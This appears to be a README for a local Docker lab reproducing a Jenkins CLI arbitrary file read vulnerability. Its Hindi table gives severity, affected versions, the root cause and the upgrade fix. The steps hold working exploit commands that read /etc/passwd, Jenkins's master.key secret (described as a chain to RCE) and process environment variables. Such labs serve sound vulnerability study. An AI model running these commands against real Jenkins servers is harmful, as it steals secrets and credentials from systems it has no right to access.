
# 1. Start lab
docker-compose up -d
# 2. Wait ~30s, then download CLI tool
curl -O http://localhost:8080/jnlpJars/jenkins-cli.jar
# 3. Exploit — read /etc/passwd (full file)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/etc/passwd
# 4. Read master.key (chain to RCE)
java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node @/var/jenkins_home/secrets/master.key
# 5. Read environment variables
java -jar jenkins-cli.jar -s http://localhost:8080 -http help @/proc/self/environ
पूर्ण तकनीकी विश्लेषण (वियतनामी) के लिए REPORT.md देखें।
| आइटम | मान |
|---|---|
| CVSS | 9.8 (गंभीर) |
| प्रभावित | Jenkins <= 2.441, LTS <= 2.426.2 |
| लैब संस्करण | jenkins/jenkins:2.426.2-lts |
| मूल कारण | args4j expandAtFiles सर्वर-साइड CLI पर सक्षम |
| समाधान | Jenkins >= 2.442 / LTS >= 2.426.3 पर अपग्रेड करें |
docker-compose down -v --remove-orphans